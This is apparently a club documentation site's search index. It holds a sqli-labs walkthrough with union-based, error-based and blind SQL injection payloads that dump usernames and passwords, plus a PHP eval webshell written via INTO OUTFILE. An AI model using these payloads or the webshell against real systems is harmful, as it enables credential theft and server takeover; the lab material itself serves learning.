    \u8f6f\u5de5\u7b80\u4ecb\uff0c\u670d\u79d1\u7b80\u4ecb\uff0c\u5927\u6570\u636e\u53ca\u5176\u6280\u672f\u7b80\u4ecb\uff0c\u7269\u8054\u7f51\u5de5\u7a0b\u7b80\u4ecb\uff0c\u4eba\u5de5\u667a\u80fd\u7b80\u4ecb\uff0c\u8ba1\u7b97\u673a\u8f85\u52a9\u8bbe\u8ba1\u7b80\u4ecb\uff0c\u5927\u5b66\u751f\u79d1\u6280\u521b\u65b0\u7b80\u4ecb\uff0c\u57f9\u517b\u65b9\u6848\u89e3\u8bfb\uff08\u53ef\u8ba1\u6570\u7684\u8bdd\u8fd9\u662f\u4f60\u8fdb\u5165\u672c\u4e13\u4e1a\u4ee5\u6765\u7684\u7b2c\u56db\u6b21\u57f9\u517b\u65b9\u6848\u89e3\u8bfb\uff09\uff0c\u8003\u67e5\u8bfe\uff0c\u5fc5\u4fee\u8bfe\uff0c\u53601\u5b66\u5206

    "},{"location":"major/manual/#_3","title":"\u5148\u4fee\u8981\u6c42","text":"

    \u4e2d\u6587\u7684\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4e0e\u8bcd\u6cd5\u5206\u6790

    "},{"location":"major/manual/#_4","title":"\u4efb\u8bfe\u6559\u5e08","text":"

    \u4e00\u8282\u8bfe\u6362\u4e00\u4e2a\u8001\u5e08\u6ca1\u6cd5\u5199

    "},{"location":"major/manual/#_5","title":"\u8bfe\u7a0b\u6559\u6750","text":"

    \u4e0d\u5b58\u5728\u7684

    "},{"location":"major/manual/#_6","title":"\u5206\u6570\u6784\u6210","text":"

    \u4e00\u7bc75000\u5b57\u8bfe\u7a0b\u62a5\u544a\uff0c\u5fc5\u987b\u5199\u6210\u8bba\u6587\u5f62\u5f0f\u3002

    "},{"location":"major/manual/#_7","title":"<\u5176\u4ed6\u53ef\u9009\u9879\u76ee>","text":""},{"location":"major/manual/#_8","title":"\u8bfe\u7a0b\u7f16\u53f7","text":"

    XYWHSE21002\uff08\u8fd9\u95e8\u8bfe\u5728\u672c\u4e13\u4e1a\u7684\u5730\u4f4d\u5c5e\u4e8e\u4e07\u4eba\u4e4b\u4e0aC\u8bed\u8a00\u4e4b\u4e0b\uff09

    2024-05-26\u2003\u2003 Contributors

    "},{"location":"outer/","title":"\u4ecb\u7ecd","text":"

    \u57fa\u4e8e\u6821\u672c\u90e8\u6587\u4ef6(https://hituc.hit.edu.cn/2024/0303/c17811a338922/page.psp) \u7cbe\u795e\uff0c\u5728 2022 \u7ea7\u4e4b\u540e \u6bd5\u4e1a\u8981\u6c42\u670910\u4e2a\u5b66\u5206\u7684\u8de8\u4e13\u4e1a\u53d1\u5c55\u8bfe\u7a0b\u5b66\u5206\uff0c\u7531\u4e8e\u5a01\u6d77\u6821\u533a\u57f9\u517b\u65b9\u6848\u5c1a\u672a\u5b8c\u5168\u786e\u5b9a\uff0c2022\u300123\u7ea7\u5c5e\u4e8e\u8fc7\u6e21\u671f\uff0c\u5177\u4f53\u6267\u884c\u60c5\u51b5\u4ecd\u5f85\u89c2\u5bdf\u3002

    \u57fa\u4e8e\u76ee\u524d\u5a01\u6d77\u6821\u533a2022\u7ea7\u8ba1\u7b97\u673a\u5b66\u9662\u57f9\u517b\u65b9\u6848\uff0c\u6ca1\u6709\u5bf9\u5916\u4e13\u4e1a\u9009\u4fee\u8bfe\u5b66\u5206\u505a\u51fa\u8981\u6c42\u3002

    \u5bf9\u4e8e\u9700\u8981\u51fa\u56fd\u5c31\u8bfb\u4e0d\u540c\u4e13\u4e1a\uff08\u6216\u5c31\u8bfb\u4e13\u4e1a\u6709\u5177\u4f53\u524d\u7f6e\u8bfe\u7a0b\u8981\u6c42\uff09\u7684\u540c\u5b66\uff0c\u53ef\u4ee5\u901a\u8fc7\u5916\u4e13\u4e1a\u9009\u4fee\u8bfe\u6765\u5b8c\u5584\u8bfe\u7a0b\u5339\u914d\u5ea6\u3002\u53e6\u5916\uff0c\u5728\u6743\u8861\u65f6\u95f4\u540e\uff0c\u8f85\u4fee\u8bfe\u7a0b\u4e5f\u662f\u4e2a\u4e0d\u9519\u7684\u9009\u62e9\u3002

    2024-04-23\u2003\u2003 Contributors

    "},{"location":"salon/","title":"\u4ecb\u7ecd","text":"

    \u4ff1\u4e50\u90e8\u5185\u90e8\u4ea4\u6d41\u4f1a\u6587\u6863\u5206\u4eab\uff0c\u5185\u5bb9\u548c\u8ba1\u7b97\u673a\u6280\u672f\u76f8\u5173\uff0c\u4e0d\u4ec5\u4ec5\u5c40\u9650\u4e8e\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u3002

    2024-04-27\u2003\u2003 Contributors

    "},{"location":"salon/basic_sql_injection/","title":"20240502","text":""},{"location":"salon/basic_sql_injection/#less-1_basic_char","title":"less-1_basic_char","text":""},{"location":"salon/basic_sql_injection/#_1","title":"\u57fa\u672c\u6d41\u7a0b","text":"

    \u76ee\u6807\uff1a\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u6240\u6709\u7528\u6237\u540d\u548c\u5bc6\u7801

    1. \u67e5\u627e\u6ce8\u5165\u70b9

    2. \u5224\u65ad\u5b57\u7b26\u578b\u8fd8\u662f\u6570\u5b57\u578b----\u5b57\u7b26\u578b

    3. \u5b57\u7b26\u578b\uff1a\u627e\u5230\u95ed\u5408\u65b9\u5f0f----\u53ef\u4ee5\u901a\u8fc7\u5355\u5f15\u53f7\u95ed\u5408 --+\u6ce8\u91ca

    4. group by \u6216\u8005 order by \u5224\u65ad\u5217\u6570

    5. \u67e5\u8be2\u56de\u663e\u4f4d \u8f93\u5165\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684 id \u4f7f\u5f97\u65e0\u6548\u4fe1\u606f\u4e0d\u518d\u663e\u793a\uff1a

      id=-1' union select 1,2,3--+\n
    1. \u663e\u793a 2, 3 \u8bf4\u660e\u56de\u663e\u4f4d\u662f 2\uff0c3
      id=-1' union select 1,2,database() --+\n
    1. \u67e5\u770b database \u540d\u79f0\u62ff\u5230\u5e93\u540d security

    2. version() \u53ef\u4ee5\u67e5\u770b\u7248\u672c

    3. \u62ff\u5230\u8868\u540d\u548c\u5217\u540d\uff1ainformation_schema\uff1a\u6570\u636e\u5e93\u4e2d\u6709 columns\uff1a\u5217\u540d\u96c6\u5408\u8868 \u548c tables\uff1a\u8868\u540d\u96c6\u5408\u8868 \u4e24\u4e2a\u8868\uff0c\u901a\u8fc7

    union select 1,2,table_name from information_schema.tables where table_schema='security'\n
    1. \uff08'security' \u751a\u81f3\u53ef\u4ee5\u76f4\u63a5\u5199 databases() \uff09

    2. \u7528 group_concat() \u6765\u663e\u793a\u6240\u6709 table_name\uff1a

    union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'\n

    \u6700\u7ec8\u62ff\u5230\u8868\u540d users

    1. sql union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

      \u83b7\u53d6\u5217\u540d \u7528\u6570\u636e\u5e93\u540d\u548c\u6570\u636e\u8868\u540d\u4e24\u4e2a\u6765\u5b9a\u4f4d\u6240\u9700\u8981\u7684\u5217\u540d \u5f97\u5230 id username password

    2. \u56de\u663e username \u548c password\uff1a

    3. sql union select 1,version(),group_concat(username,'%%%%%',password) from users

    information_schema.tables \u7ed3\u6784\uff1a

    \u5b57\u6bb5 \u542b\u4e49 Table_catalog \u6570\u636e\u8868\u767b\u8bb0\u76ee\u5f55 Table_schema \u6570\u636e\u8868\u6240\u5c5e\u7684\u6570\u636e\u5e93\u540d Table_name \u8868\u540d\u79f0 Table_type \u8868\u7c7b\u578b[system view|base table] Engine \u4f7f\u7528\u7684\u6570\u636e\u5e93\u5f15\u64ce[MyISAM|CSV|InnoDB] Version \u7248\u672c\uff0c\u9ed8\u8ba4\u503c10 Row_format \u884c\u683c\u5f0f[Compact|Dynamic|Fixed] Table_rows \u8868\u91cc\u6240\u5b58\u591a\u5c11\u884c\u6570\u636e Avg_row_length \u5e73\u5747\u884c\u957f\u5ea6 Data_length \u6570\u636e\u957f\u5ea6 Max_data_length \u6700\u5927\u6570\u636e\u957f\u5ea6 Index_length \u7d22\u5f15\u957f\u5ea6 Data_free \u7a7a\u95f4\u788e\u7247 Auto_increment \u505a\u81ea\u589e\u4e3b\u952e\u7684\u81ea\u52a8\u589e\u91cf\u5f53\u524d\u503c Create_time \u8868\u7684\u521b\u5efa\u65f6\u95f4 Update_time \u8868\u7684\u66f4\u65b0\u65f6\u95f4 Check_time \u8868\u7684\u68c0\u67e5\u65f6\u95f4 Table_collation \u8868\u7684\u5b57\u7b26\u6821\u9a8c\u7f16\u7801\u96c6 Checksum \u6821\u9a8c\u548c Create_options \u521b\u5efa\u9009\u9879 Table_comment \u8868\u7684\u6ce8\u91ca\u3001\u5907\u6ce8

    information_schema.columns \u7ed3\u6784\uff1a

    \u5217\u540d \u6570\u636e\u7c7b\u578b \u63cf\u8ff0 TABLE_CATALOG nvarchar(128) \u8868\u9650\u5b9a\u7b26\u3002 TABLE_SCHEMA nvarchar(128) \u8868\u6240\u6709\u8005\u3002 TABLE_NAME nvarchar(128) \u8868\u540d\u3002 COLUMN_NAME nvarchar(128) \u5217\u540d\u3002 ORDINAL_POSITION smallint \u5217\u6807\u8bc6\u53f7\u3002 COLUMN_DEFAULT nvarchar(4000) \u5217\u7684\u9ed8\u8ba4\u503c\u3002 IS_NULLABLE varchar(3) \u5217\u7684\u4e3a\u7a7a\u6027\u3002\u5982\u679c\u5217\u5141\u8bb8 NULL\uff0c\u90a3\u4e48\u8be5\u5217\u8fd4\u56de YES\u3002\u5426\u5219\uff0c\u8fd4\u56de NO\u3002 DATA_TYPE nvarchar(128) \u7cfb\u7edf\u63d0\u4f9b\u7684\u6570\u636e\u7c7b\u578b\u3002 CHARACTER_MAXIMUM_LENGTH smallint \u4ee5\u5b57\u7b26\u4e3a\u5355\u4f4d\u7684\u6700\u5927\u957f\u5ea6\uff0c\u9002\u4e8e\u4e8c\u8fdb\u5236\u6570\u636e\u3001\u5b57\u7b26\u6570\u636e\uff0c\u6216\u8005\u6587\u672c\u548c\u56fe\u50cf\u6570\u636e\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002\u6709\u5173\u66f4\u591a\u4fe1\u606f\uff0c\u8bf7\u53c2\u89c1\u6570\u636e\u7c7b\u578b\u3002 CHARACTER_OCTET_LENGTH smallint \u4ee5\u5b57\u8282\u4e3a\u5355\u4f4d\u7684\u6700\u5927\u957f\u5ea6\uff0c\u9002\u4e8e\u4e8c\u8fdb\u5236\u6570\u636e\u3001\u5b57\u7b26\u6570\u636e\uff0c\u6216\u8005\u6587\u672c\u548c\u56fe\u50cf\u6570\u636e\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 NUMERIC_PRECISION tinyint \u8fd1\u4f3c\u6570\u5b57\u6570\u636e\u3001\u7cbe\u786e\u6570\u5b57\u6570\u636e\u3001\u6574\u578b\u6570\u636e\u6216\u8d27\u5e01\u6570\u636e\u7684\u7cbe\u5ea6\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 NUMERIC_PRECISION_RADIX smallint \u8fd1\u4f3c\u6570\u5b57\u6570\u636e\u3001\u7cbe\u786e\u6570\u5b57\u6570\u636e\u3001\u6574\u578b\u6570\u636e\u6216\u8d27\u5e01\u6570\u636e\u7684\u7cbe\u5ea6\u57fa\u6570\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 NUMERIC_SCALE tinyint \u8fd1\u4f3c\u6570\u5b57\u6570\u636e\u3001\u7cbe\u786e\u6570\u5b57\u6570\u636e\u3001\u6574\u6570\u6570\u636e\u6216\u8d27\u5e01\u6570\u636e\u7684\u5c0f\u6570\u4f4d\u6570\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 DATETIME_PRECISION smallint datetime \u53ca SQL-92 interval \u6570\u636e\u7c7b\u578b\u7684\u5b50\u7c7b\u578b\u4ee3\u7801\u3002\u5bf9\u4e8e\u5176\u5b83\u6570\u636e\u7c7b\u578b\uff0c\u8fd4\u56de NULL\u3002 CHARACTER_SET_CATALOG varchar(6) \u5982\u679c\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8fd4\u56de master\uff0c\u6307\u660e\u5b57\u7b26\u96c6\u6240\u5728\u7684\u6570\u636e\u5e93\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 CHARACTER_SET_SCHEMA varchar(3) \u5982\u679c\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8fd4\u56de DBO\uff0c\u6307\u660e\u5b57\u7b26\u96c6\u7684\u6240\u6709\u8005\u540d\u79f0\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 CHARACTER_SET_NAME nvarchar(128) \u5982\u679c\u8be5\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u4e3a\u5b57\u7b26\u96c6\u8fd4\u56de\u552f\u4e00\u7684\u540d\u79f0\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 COLLATION_CATALOG varchar(6) \u5982\u679c\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8fd4\u56de master\uff0c\u6307\u660e\u5728\u5176\u4e2d\u5b9a\u4e49\u6392\u5e8f\u6b21\u5e8f\u7684\u6570\u636e\u5e93\u3002\u5426\u5219\u6b64\u5217\u4e3a NULL\u3002 COLLATION_SCHEMA varchar(3) \u8fd4\u56de DBO\uff0c\u4e3a\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\u6307\u660e\u6392\u5e8f\u6b21\u5e8f\u7684\u6240\u6709\u8005\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 COLLATION_NAME nvarchar(128) \u5982\u679c\u5217\u662f\u5b57\u7b26\u6570\u636e\u6216 text \u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u4e3a\u6392\u5e8f\u6b21\u5e8f\u8fd4\u56de\u552f\u4e00\u7684\u540d\u79f0\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 DOMAIN_CATALOG nvarchar(128) \u5982\u679c\u5217\u662f\u4e00\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8be5\u5217\u662f\u67d0\u4e2a\u6570\u636e\u5e93\u540d\u79f0\uff0c\u5728\u8be5\u6570\u636e\u5e93\u540d\u4e2d\u521b\u5efa\u4e86\u8fd9\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 DOMAIN_SCHEMA nvarchar(128) \u5982\u679c\u5217\u662f\u4e00\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8be5\u5217\u662f\u8fd9\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\u7684\u521b\u5efa\u8005\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002 DOMAIN_NAME nvarchar(128) \u5982\u679c\u5217\u662f\u4e00\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u90a3\u4e48\u8be5\u5217\u662f\u8fd9\u79cd\u7528\u6237\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\u7684\u540d\u79f0\u3002\u5426\u5219\uff0c\u8fd4\u56de NULL\u3002"},{"location":"salon/basic_sql_injection/#less-2_basic_num","title":"less-2_basic_num","text":""},{"location":"salon/basic_sql_injection/#_2","title":"\u6570\u5b57\u578b","text":"

    \u5176\u4ed6\u6b65\u9aa4\u4e0e less-1 \u76f8\u540c\uff0c\u53ea\u4e0d\u8fc7\u53d8\u6210\u4e86\u6570\u5b57\u578b\u6ce8\u5165

    "},{"location":"salon/basic_sql_injection/#less-3_basic_bracket","title":"less-3_basic_bracket","text":""},{"location":"salon/basic_sql_injection/#_3","title":"\u62ec\u53f7\u95ed\u5408","text":"
    1. \u5148\u5224\u65ad\u662f\u5b57\u7b26\u578b
    2. ?id=2' order by 3 --+\u540e\u62a5\u9519 check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1 \u8bf4\u660e\u8981\u7528\u5355\u5f15\u53f7\u548c\u62ec\u53f7\u6765\u95ed\u5408
    3. \u5176\u4ed6\u6b65\u9aa4\u76f8\u540c
    "},{"location":"salon/basic_sql_injection/#less-4_basic_bracket2","title":"less-4_basic_bracket2","text":""},{"location":"salon/basic_sql_injection/#_4","title":"\u62ec\u53f7\u95ed\u5408","text":"
    1. \u5b57\u7b26\u578b
    2. ?id=2' order by 3--+ \u5176\u4e2d order by \u540e\u9762\u6570\u5b57\u4e0d\u7ba1\u591a\u5927\u90fd\u6ca1\u53cd\u5e94\uff0c\u8bf4\u660e\u95ed\u5408\u6709\u95ee\u9898
    3. \u5c1d\u8bd5\u628a\u5355\u5f15\u53f7\u6539\u6210\u53cc\u5f15\u53f7\uff0c\u51fa\u73b0\u62a5\u9519\uff1a\u2026\u2026use near 'order by 3-- \") LIMIT 0,1' at line 1\u8bf4\u660e\u5e94\u8be5\u7528\u53cc\u5f15\u53f7\u52a0\u53f3\u62ec\u53f7\u8fdb\u884c\u95ed\u5408
    4. \u540e\u7eed\u6b65\u9aa4\u76f8\u540c
    "},{"location":"salon/basic_sql_injection/#less-5_extractvalue","title":"less-5_extractvalue","text":""},{"location":"salon/basic_sql_injection/#_5","title":"\u62a5\u9519\u6ce8\u5165","text":"
    1. ?id=1' order by 100 --+ \u62a5\u9519 Unknown column '100' in 'order clause' \u8bf4\u660e\u5df2\u7ecf\u6b63\u786e\u95ed\u5408\u4e86

    2. ?id=-1' order by 3--+ \u4ec0\u4e48\u90fd\u4e0d\u663e\u793a

    3. ?id=1' order by 3--+ \u53ea\u663e\u793a You are in.........

    4. \u6545\u610f\u8c03\u7528\u4e0d\u5b58\u5728\u7684\u51fd\u6570\u5957\u51fa\u6570\u636e\u5e93\u540d\uff1a?id=1' union select fuck() --+ \u62a5\u9519 FUNCTION security.fuck does not exist \u8bf4\u660e\u6570\u636e\u5e93\u540d\u4e3a security

    5. \u5229\u7528 extractvalue \u62a5\u9519\u6ce8\u5165\uff1a

    6. sql select extractvalue(1, concat(0x7e, (select database())))

    7. \u6ce8\u610f select database() \u5fc5\u987b\u7528\u62ec\u53f7\u62ec\u8d77\u6765\uff0c\u624d\u4f1a\u88ab\u5f53\u6210\u4ee3\u7801\u6267\u884c\u3002 0x7e \u662f\u98d8\u5e26\u7b26\u53f7~\u7684\u4ee3\u7801\u3002

    8. \u6ce8\u610f\u8fd9\u91cc\u7528 union \u8fde\u63a5\u524d\u9762\u7684\u53e5\u5b50\u65f6\u5176\u5b9e\u4e0d\u7528\u8003\u8651\u5217\u6570\u6709\u6ca1\u6709\u5bf9\u9f50\uff0c\u62a5\u9519\u7167\u6837\u56de\u663e

    9. \u540e\u9762\u7684\u6b65\u9aa4\u4e0e\u524d\u9762\u76f8\u540c

    10. \u9047\u5230\u95ee\u9898\uff1a\u6700\u591a\u9ed8\u8ba4\u8fd4\u56de32\u4e2a\u5b57\u7b26\uff0c\u5229\u7528 substring/substr \u51fd\u6570\u89e3\u51b3

    11. sql union select 1,2,extractvalue('nanamo', substring(concat(0x7e, (select group_concat(username,'~',password) from users)),4,30))

    substr(string, a, b)

    \u5229\u7528 extractvalue() \u6ce8\u5165\uff1a

    select extractvalue('XML_document','Xpath_string') from xml\n

    \u6b63\u5e38\u67e5\u8be2\u8bed\u53e5

    Xpath_string\u4f8b\u5b50\uff1a/book/author/surname

    1. \u82e5\u67e5\u8be2\u4e0d\u5b58\u5728\u7684\u8def\u5f84\uff0c\u627e\u4e0d\u5230\u5185\u5bb9\u4f46\u4e0d\u62a5\u9519
    2. \u5c06 / \u6539\u4e3a ~ \u4ea7\u751f\u9519\u8bef xpath syntax error \u540e\u9762\u8ddf\u7740\u8def\u5f84\u56de\u663e\uff0c\u4e8e\u662f\u901a\u8fc7\u8fd9\u5904\u56de\u663e\u8fdb\u884c\u6ce8\u5165

    substring()

    substring(123456,1,3)\n

    \u8fd4\u56de\uff1a123

    substring(123456,4,3)\n

    \u8fd4\u56de\uff1a456

    \u5373\u4e0b\u6807\u4ece1\u5f00\u59cb\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u8868\u793a\u5b57\u7b26\u4e32\uff0c\u7136\u540e\u53d6\u4ece\u7b2c\u4e8c\u4e2a\u53c2\u6570\u7ed9\u5b9a\u7684\u4e0b\u6807\u5f00\u59cb\uff0c\u6570\u7b2c\u4e09\u4e2a\u53c2\u6570\u7ed9\u5b9a\u7684\u4e2a\u6570\uff0c\u5f97\u5230\u7684\u5b50\u4e32

    "},{"location":"salon/basic_sql_injection/#less-5_floor","title":"less-5_floor","text":""},{"location":"salon/basic_sql_injection/#_6","title":"\u62a5\u9519\u6ce8\u5165","text":"

    \u76f8\u5173\u51fd\u6570\uff1a

    1. rand() : 0~1\u968f\u673a\u5c0f\u6570
    2. floor() : \u5411\u4e0b\u53d6\u6574
    3. ceiling()
    4. concat_ws() : \u5c06\u62ec\u53f7\u5185\u7684\u6570\u636e\u7528\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u8fde\u63a5\u8d77\u6765 concatenate with separator
    5. group by \u5206\u7ec4\u8bed\u53e5
    6. as \u522b\u540d
    7. count() : count(column_name) \u7edf\u8ba1 column_name \u4e2d\u975e NULL \u503c\u7684\u884c\uff0ccount(*) \u5219\u7edf\u8ba1\u6307\u5b9a\u8868\u4e2d\u6240\u6709\u884c\u7684\u6570\u91cf
    8. limit \u663e\u793a\u6307\u5b9a\u884c\u6570 limit 0,1 \u8868\u793a\u9650\u5236\u4ece\u7b2c 0 \u9879\u5f00\u59cb\u53d6 1 \u9879
    union select 1,count(*),concat_ws('-',(select database()), floor(rand(0)*2)) as a from information_schema.tables group by a\n

    from information_schema.tables \u4e3a\u4e86\u6709\u8db3\u591f\u7684\u5217\u6570

    count(*) \u7528\u6765\u7edf\u8ba1\u4e2a\u6570

    concat_ws() \u7528 - \u5c06 select database() \u7684\u8fd4\u56de\u503c\u548c floor(rand(0)*2) \u7684\u503c\u8fde\u63a5\u8d77\u6765

    \u6bcf\u4e00\u4e2a concat_ws(...) \u90fd\u91cd\u547d\u540d\u4e3a a \u5e76\u6309\u7167\u5b83\u8fdb\u884c\u5206\u7ec4\uff0c\u4e8e\u662f\u4f1a\u51fa\u73b0\u4e24\u79cd\u952e

    database_name-0 \u548c database_name-1

    \u8be5\u624b\u6cd5\u6210\u529f\u7684\u5173\u952e\u5728\u4e8e\uff1a\u7ed9\u5b83\u5206\u7ec4\u65f6\u7b97\u4e86\u4e00\u904d rand , \u8ba1\u6570\u65f6\u53c8\u8981\u7b97\u4e00\u904d rand , \u5c31\u6709\u53ef\u80fd\u51fa\u73b0\u91cd\u590d\u5b9a\u4e49\u952e\u540d\u7684\u9519\u8bef\uff0c\u4ece\u800c\u4ea7\u751f\u62a5\u9519 duplicate entry\uff0c\u8fd4\u56de\u6211\u4eec\u60f3\u8981\u770b\u5230\u7684\u4fe1\u606f

    \u4f46\u662f\uff0c\u6700\u540e\u4e00\u6b65\u6302\u6389\u4e86\uff1a

    union select 1,count(*),concat_ws('-',(\nselect group_concat(username,\"-\",password) from users\n), floor(rand(0)*2)) as a from information_schema.tables group by a\n

    \u9875\u9762\u53ea\u663e\u793a\uff1aYou are in........ \u8fd9\u662f\u600e\u4e48\u56de\u4e8b\u5462\uff1f

    \u592a\u957f\u4e86\uff0c\u5b83\u5c31\u4e0d\u663e\u793a\u4e86

    \u53ef\u4ee5\u7528 substring \u89e3\u51b3

    \u4e5f\u53ef\u4ee5\u7528 concat \u52a0\u4e0a limit \u9650\u5236\u6765\u89e3\u51b3

    union select 1,count(*),concat_ws('-',(\nselect concat(username,\"-\",password) from users limit 0,1\n), floor(rand(0)*2)) as a from information_schema.tables group by a\n
    "},{"location":"salon/basic_sql_injection/#less-6_updatexml","title":"less-6_updatexml","text":""},{"location":"salon/basic_sql_injection/#_7","title":"\u62a5\u9519\u6ce8\u5165","text":"

    \u5176\u5b9e\u4e0e less-5 \u4e00\u6837\uff0c\u53ea\u662f\u7528\u53cc\u5f15\u53f7\u95ed\u5408

    \u5728\u8fd9\u4e00\u9898\u5c1d\u8bd5\u7528\u65b0\u65b9\u6cd5\u89e3\u51b3

    1. \u5355\u5f15\u53f7\u95ed\u5408\u4e0d\u62a5\u9519\uff0c\u53cc\u5f15\u53f7\u95ed\u5408\u62a5\u9519\uff1ause near '\"1\"\" LIMIT 0,1' at line 1\u8bf4\u660e\u662f\u7528\u53cc\u5f15\u53f7\u95ed\u5408\u7684

    2. sql union select 1,2,updatexml('yemaster', substring(concat(0x7e, (select group_concat(username,'~',password) from users)),4,30),\"aaa\")

    3. \u5c31\u662f\u6bd4 extractvalue \u591a\u4e00\u9879\u65e0\u7528\u7684\u53c2\u6570

    \u5229\u7528 updatexml() \u62a5\u9519\u6ce8\u5165\uff0c\u539f\u7406\u4e0e extractvalue() \u4e00\u81f4

    select updatexml('XML_document','Xpath_string','New_content') from xml\n

    \u7528\u4e8e\u66f4\u65b0 xml \u6587\u4ef6\u5185\u5bb9

    \u540c\u6837\u5728 xpath \u4e2d\u7b2c\u4e00\u4f4d\u6539\u4e3a ~ \u7528\u4e8e\u62a5\u9519

    "},{"location":"salon/basic_sql_injection/#less-7_outfile","title":"less-7_outfile","text":""},{"location":"salon/basic_sql_injection/#_8","title":"\u6587\u4ef6\u6ce8\u5165","text":"
    1. sql SHOW VARIABLES LIKE '%secure%'

    2. \u67e5\u770b\u662f\u5426\u5177\u6709\u6587\u4ef6\u5199\u5165\u6743\u9650\uff1a

    Variable_name Value require_secure_transport OFF secure_auth ON secure_file_priv NULL
    1. \u4e3b\u8981\u5173\u6ce8 secure_file_priv\uff0cpriv \u5373 privilege\uff0c\u8fd9\u662f\u4e00\u4e2a\u7528\u4e8e\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668\u4e0a\u5141\u8bb8\u6267\u884cLOAD DATA INFILE\u548cLOAD XML\u8bed\u53e5\u65f6\u7684\u6587\u4ef6\u8def\u5f84\u9650\u5236\u7684\u7cfb\u7edf\u53d8\u91cf\u3002\u5982\u679c\u8bbe\u7f6e\u4e86\u8fd9\u4e2a\u53d8\u91cf\uff0c\u90a3\u4e48\u53ea\u6709\u5728\u6307\u5b9a\u8def\u5f84\u4e0b\u7684\u6587\u4ef6\u624d\u80fd\u88ab\u52a0\u8f7d\u3002\u5f53\u524d\u60c5\u51b5\u4e0b\uff0c\u5b83\u88ab\u8bbe\u7f6e\u4e3aNULL\uff0c\u8fd9\u610f\u5473\u7740\u6ca1\u6709\u660e\u786e\u6307\u5b9a\u7684\u8def\u5f84\u9650\u5236\uff0c\u4efb\u4f55\u5730\u65b9\u7684\u6587\u4ef6\u90fd\u4e0d\u53ef\u4ee5\u88ab\u52a0\u8f7d\u3002\u6d4b\u8bd5\u65f6\u9700\u8981\u5728 my.ini \u4e2d\u914d\u7f6e secure_file_priv=\"\" \u7a7a\uff0c\u624d\u80fd\u4f7f\u4efb\u610f\u5730\u65b9\u6587\u4ef6\u90fd\u53ef\u4ee5\u52a0\u8f7d\u3002

    2. \u6ce8\u5165\u6728\u9a6c

    3. sql select 1,2,'<?php @eval($_POST[\"nanamo\"])?>' into outfile \"C:\\\\phpstudy_pro\\\\WWW\\\\hackin.php\"

    4. Linux \u670d\u52a1\u5668 \u53ef\u80fd\u7684\u8def\u5f84\uff1a\"/var/www/html/test/\"

    5. \u5b9e\u6218\u65f6\u9700\u8981\u8003\u8651\u7ed5\u8fc7\u6728\u9a6c\u68c0\u6d4b\uff0c\u8fd9\u79cd\u4e00\u53e5\u8bdd\u6728\u9a6c\u5f88\u5feb\u5c31\u4f1a\u88ab windows \u81ea\u5e26\u6740\u6bd2\u8f6f\u4ef6\u6740\u6389

    6. \u7528 antsword \u8fde\u63a5\uff0c\u83b7\u53d6\u670d\u52a1\u5668\u63a7\u5236\u6743

    "},{"location":"salon/basic_sql_injection/#less-8_bool","title":"less-8_bool","text":""},{"location":"salon/basic_sql_injection/#_9","title":"\u5e03\u5c14\u76f2\u6ce8","text":"

    \u9002\u7528\u4e8e\u9875\u9762\u53ea\u6709\u771f\u503c\u3001\u5047\u503c\u4e24\u79cd\u60c5\u51b5\u3002\u624b\u5de5\u5e03\u5c14\u76f2\u6ce8\u8d39\u65f6\u8d39\u529b\u3002

    1. \u5148\u5224\u65ad\u95ed\u5408\u65b9\u5f0f/\u9875\u9762\u7684\u771f\u5047\u6027\uff1aand 1=1, and 1=2

    2. sql ?id=1' and length((select database())) > 9 --+

    3. \u901a\u8fc7\u8c03\u6574\u53c2\u6570\u5f97\u77e5 select database() \u8fd4\u56de\u503c\u7684\u957f\u5ea6

    4. sql ?id=1' and ascii((select database())) > 100 --+

    5. \u901a\u8fc7\u8c03\u6574\u53c2\u6570\u5f97\u77e5 database \u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684 ascii \u7801\u503c

    6. \u5229\u7528 substr \u9009\u62e9\u67e5\u770b\u5176\u4ed6\u4f4d\u7f6e\u4e0a\u7684\u5b57\u6bcd\uff08substr() \u548c substring() \u6ca1\u6709\u533a\u522b\uff0c\u4e0b\u6807\u4ece1\u5f00\u59cb\uff09

